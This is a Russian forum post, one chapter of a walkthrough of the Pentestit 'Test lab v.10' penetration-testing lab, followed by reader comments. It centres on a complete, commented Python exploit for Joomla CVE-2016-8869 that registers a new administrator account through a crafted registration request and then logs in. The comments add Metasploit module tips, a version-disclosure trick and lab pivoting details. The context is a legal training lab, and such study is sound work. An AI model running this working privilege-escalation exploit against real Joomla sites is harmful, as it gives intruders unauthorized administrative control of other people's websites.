Лаборатория тестирования на проникновения «Test lab v.10» — за гранью хакерских возможностей (9)

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Глава 9
Предыдущая глава
Следующая глава
Оглавление

Снимок.PNG


Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):

111.PNG


С этой статьи вы научитесь пользоваться публичными уязвимостями известных (систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей
Ну что же начнем:
Пробросим порт:

01.PNG


Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS

1.PNG


Что бы удостоверится глянем исходный код страницы:

2.PNG


Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:

3.PNG


В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:

4.PNG


Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:

5.PNG


Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.

После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:

002.PNG


Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:

Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys #Стандартная Библиотека,будет используватся для вывода на экран банера
import re  #Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import argparse  #Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import random    #Стандартная Библиотека,будет задействована для вывода на экран банера
import time         #Стандартная Библиотека,будет задействована для вывода на экран банера
import requests  #Стандартная Библиотека,будет задействована для создание HTTP запросов
from termcolor import colored #Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor

#Функция для создание парсера опций нашего скрипта
def parse_options():
    parser = argparse.ArgumentParser(description='Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для Codeby.Net',epilog="Контакная ифнормация:\n http://vk.com/corpofhack")
    parser.add_argument('url', help='Адрес URL для Joomla CMS')
    parser.add_argument('-u','--username', default='codeby',help='Логин для регистрации  Администратора')
    parser.add_argument('-p','--password',  default='1337',help='Пароль для регистрации Администратора')
    parser.add_argument('-e','--email', default='DarkNode@codeby.net',help='Ваш Email')
    return parser.parse_args()

#Функция для извлечения CSRF токена в HTML странице
def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[!] Не смог найти CSRF token")
        return None
    return match.group(1)

#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def create_user(options, sess, token): #Принимает на вход опции взятые из парсера, открытую сессию,и токен
    """
    Создание учетной записи администратора через CVE
    """
    data = {
        # Пользовательский обьект
        'user[name]': options.username,
        'user[username]': options.username,
        'user[password1]': options.password,
        'user[password2]': options.password,
        'user[email1]': options.email,
        'user[email2]': options.email,
        'user[groups][]': '7',    # 7 = Группа Администраторы
        'user[activation]': '0',
        'user[block]': '0',

        # Данные формы
        'form[name]': options.username,
        'form[username]': options.username,
        'form[password1]': options.password,
        'form[password2]': options.password,
        'form[email1]': options.email,
        'form[email2]': options.email,
        'form[option]': 'com_users',
        'form[task]': 'user.register',
        token: '1',
    }#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
    return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False, verify=False)

#Функция которая пытается залогинится от админа
def try_admin_login(options, sess):
    admin_url = options.url + '/administrator/index.php'
    print('[...] Получение токена для логина Администратора')
    resp = sess.get(admin_url, verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print('[*] Входим в админ панель...')
    data = {
        'username': options.username,
        'passwd': options.password,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=False)
    if 'task=profile.edit' not in resp.text:
        print('[!] Попытка входа под Администратором неудачная!')
        return
    print(colored('[+] Успешный вход в админ панель!','cyan'))
    return True

#Функция  самого хека джумлы
def pwn_joomla(options):
    sess = requests.Session()
    print("[...] Получение CSRF токена")
    resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print colored("[!] Создание учетной записи Администратора","red")
    resp = create_user(options, sess, token)
    can_login = try_admin_login(options, sess)
    if not can_login:
        # TODO: periodically check if we can login as admin
        print("[-] Проверьте почту для активации аккаунта")
        try:
            resp = raw_input('[?] Нажмите любую клавиши после активации аккаунта')
        except KeyboardInterrupt:
            return False
        can_login = try_admin_login(options, sess)
        if not can_login:
            return False
    print colored("[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]","green")
    print "Используйте логин: " + colored(options.username,"yellow")+" и пароль: "+colored(options.password,"yellow")+" для входа в Панель Администратора"

#Вывод банера

def print_logo():
    clear = "\x1b[0m"
    colors = [31, 32, 33, 34, 35, 36]

    logo = """
=====================================================================

  ####   ####  #####  ###### #####  #   #     #    # ###### #####
#    # #    # #    # #      #    #  # #      ##   # #        #
#      #    # #    # #####  #####    #       # #  # #####    #
#      #    # #    # #      #    #   #   ### #  # # #        #
#    # #    # #    # #      #    #   #   ### #   ## #        #
####   ####  #####  ###### #####    #   ### #    # ######   #
              ____             _    _   _           _  
              |  _ \  __ _ _ __| | _| \ | | ___   __| | ___
              | | | |/ _` | '__| |/ /  \| |/ _ \ / _` |/ _ \
              | |_| | (_| | |  |   <| |\  | (_) | (_| |  __/
              |____/ \__,_|_|  |_|\_\_| \_|\___/ \__,_|\___|
              **********************************************           
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              |J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
                            contacts:
          https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
    for line in logo.split("\n"):
        sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
        time.sleep(0.05)

#Главная функция
def main(base_url):
    options = parse_options()
    print_logo()
    if pwn_joomla(options):
        print("[+] УСПЕХ!!!:", options.url)
    else:
        pass

if __name__ == "__main__":
    sys.exit(main("http://127.0.0.1/"))
Надеюсь тут понятно более мение,если что , спрашивайте - попытаюсь ответить в комментариях :)
Ну а дальше профит:

6.PNG


7.PNG


Входим в админку...Смотрим ,есть статья одна не опубликованная

8.PNG


Смотрим Alias - там что то похоже на токен)

9.PNG


Проверяем:

10.PNG


Токен взят)
Вот видосик:


Предыдущая глава
Следующая глава
Оглавление
 
Я так понял это более расширенный скрипт для взлома других джумл. Так как в лабе авторизация по мейлу не нужна. Я использовал готовый модуль метасплойта (действительно после болезненного обновления вручную, его добавили). Достаточно было вписать рандомный мейл. Даже активировать не пришлось, сразу зашел в админку после выполнения скрипта.
ПС: ОФФТОП: а чем ascii рисунки рисуете ? Ручками или утилитками?
 
  • Нравится
Реакции: <~DarkNode~>
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
 
Так как в лабе авторизация по мейлу не нужна. Я использовал готовый модуль метасплойта (действительно после болезненного обновления вручную, его добавили). Достаточно было вписать рандомный мейл. Даже активировать не пришлось, сразу зашел в админку после выполнения скрипта.
Поля мейл не всегда нужно активировать,это всего лишь обезательно поле для формы регистрации аккаунта.
ПС: ОФФТОП: а чем ascii рисунки рисуете ? Ручками или утилитками?
Картинки онлайн сервисами,первые две ссылке в гугле:
и
Текст - утилитой // apt-get install figlet
[doublepost=1484219879,1484219783][/doublepost]
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
Могу предположить что метасплоит в лаборатории определил не верно версию,хотя лично мною не проверялось на Joomla 3.6.5 Stable. Так что , это пока только предположение...
 
  • Нравится
Реакции: RESPECT
Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.
вот тут непонятна логика) по уязвимы версии джумлы < 3.6.4 именно для повышения прав при регистрации,что не подходит под данный случай, однако все сработало, скорее всего из-за ошибки в определении версии, либо создатели лабы специально оставили дырку
[doublepost=1484220864,1484220750][/doublepost]
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
дата публикации эксплоита - 27 октября, дата релиза - 1 декабря
 
  • Нравится
Реакции: <~DarkNode~>
Могу предположить что метасплоит в лаборатории определил не верно версию,хотя лично мною не проверялось на Joomla 3.6.5 Stable. Так что , это пока только предположение...

Не через meta делал, просто собрал отдельный python скрипт, вырезав все что связанно с заливкой. По логам сервера, запросы post проходят, но выхлопа 0. Жалко :-(
P.S.
Пока писал, уважаемый cutoff скорее всего верно написал: для 3.6.5 - не пройдет.
 
  • Нравится
Реакции: <~DarkNode~>
Как скоро ждать новый пост в котором будет про повышение привилегий?
 
Последнее редактирование модератором:
Как скоро ждать новый пост в котором будет про повышение привилегий?
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
 
спасибо за очередную главу оч понравилось многое начинаешь понимать только симпатий не хватает посмотреть код(
[doublepost=1484403254,1484403147][/doublepost]
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
будет здорово сейчас очень интересует статья про взятие токена на win-term машине
 
  • Нравится
Реакции: Rtjit и <~DarkNode~>
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
Жаль, а то я первый пост начал читать, а там и про повышение привилегий тоже было сказано. Ну да ладно, все равно очень интересная серия постов.
 
Господи! Это о***ено!
Спасибо за статью, только у меня симпатий не хватает...поставил в закладки.
[doublepost=1484208817,1484200635][/doublepost]
Спасибо, так намного понятнее :)

~~DarkNode~~ один из немногих (если не единственный) в Рунете, кто очень четко и наглядно объясняет новичкам как проходить Лабораторию Pentestit и получить первоначальные навыки по проникновению сразу на хорошем уровне. Честь ему и хвала, это очень хорошее дело.
[doublepost=1484510878][/doublepost]Забавно, мне joomraa не понадобилась, вбил user user и меня пустило в настройки аккаунта, в административную панель вошел так же. Видимо не так часто откатывают сервер.

P.s. Быстрый способ узнать версию joomla - добавить после адреса в url /language/en-GB/en-GB.xml
 

Вложения

  • codeby.jpg
    codeby.jpg
    27 КБ · Просмотры: 307
Ребята, извините за оффтопик, но застрял на последнем задании (cloud server). Не могу к нему подключиться. После того как зашел на ssh e.lindsey, не могу пробросить порты к клауду. Пинг есть, nmap показывает 2 порта но они закрыты ( я так понимаю из-за фаервола). Попытка подключения по ssh с e.lindsey на клауд тоже ничего не дала. Пишет permission denied , disconnected from server.
Что я делаю не так ?
 
Ребята, извините за оффтопик, но застрял на последнем задании (cloud server). Не могу к нему подключиться. После того как зашел на ssh e.lindsey, не могу пробросить порты к клауду. Пинг есть, nmap показывает 2 порта но они закрыты ( я так понимаю из-за фаервола). Попытка подключения по ssh с e.lindsey на клауд тоже ничего не дала. Пишет permission denied , disconnected from server.
Что я делаю не так ?
cloud береться после взятие Win Term.
 
win term и dc0 есть. Логин и пароль rross для ssh на 2222 порту есть.Может еще rsa ключ нужен?
Зашел проверить:

e.lindsey@tl10-ssh:~$ nmap -Pn 172.16.0.3 -p 2222

Starting Nmap 6.00 ( ) at 2017-01-16 12:51 MSK
Nmap scan report for 172.16.0.3
Host is up (0.0011s latency).
PORT STATE SERVICE
2222/tcp closed EtherNet/IP-1

Возможно ,кто то уронил после рутирования машины...
Нужно писать адиннам лабы - что бы проверили работоспособность таска:
А на вин-терме сказано , что клауд работает по учеткой рроса на 2222 порту...
Так что должен работать порт 2222
 
  • Нравится
Реакции: Dmitry88
Делаю поиск по ключевому слову joomla, не находит joomla_registration_privesc. Из-за чего нет возможности использовать этот эксплойт.
В чем может быть дело?
 
Делаю поиск по ключевому слову joomla, не находит joomla_registration_privesc. Из-за чего нет возможности использовать этот эксплойт.
В чем может быть дело?
Обнови базу метасплойта (лично я обновлял вручную, мануалы есть в сети) (apt-get update не всегда помогает)
 
Обнови базу метасплойта (лично я обновлял вручную, мануалы есть в сети) (apt-get update не всегда помогает)
спасибо, с этим разобрался
но возникла новая проблема, может кто сможет ответить
 

Вложения

  • Выделение_058.png
    Выделение_058.png
    63,3 КБ · Просмотры: 493
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!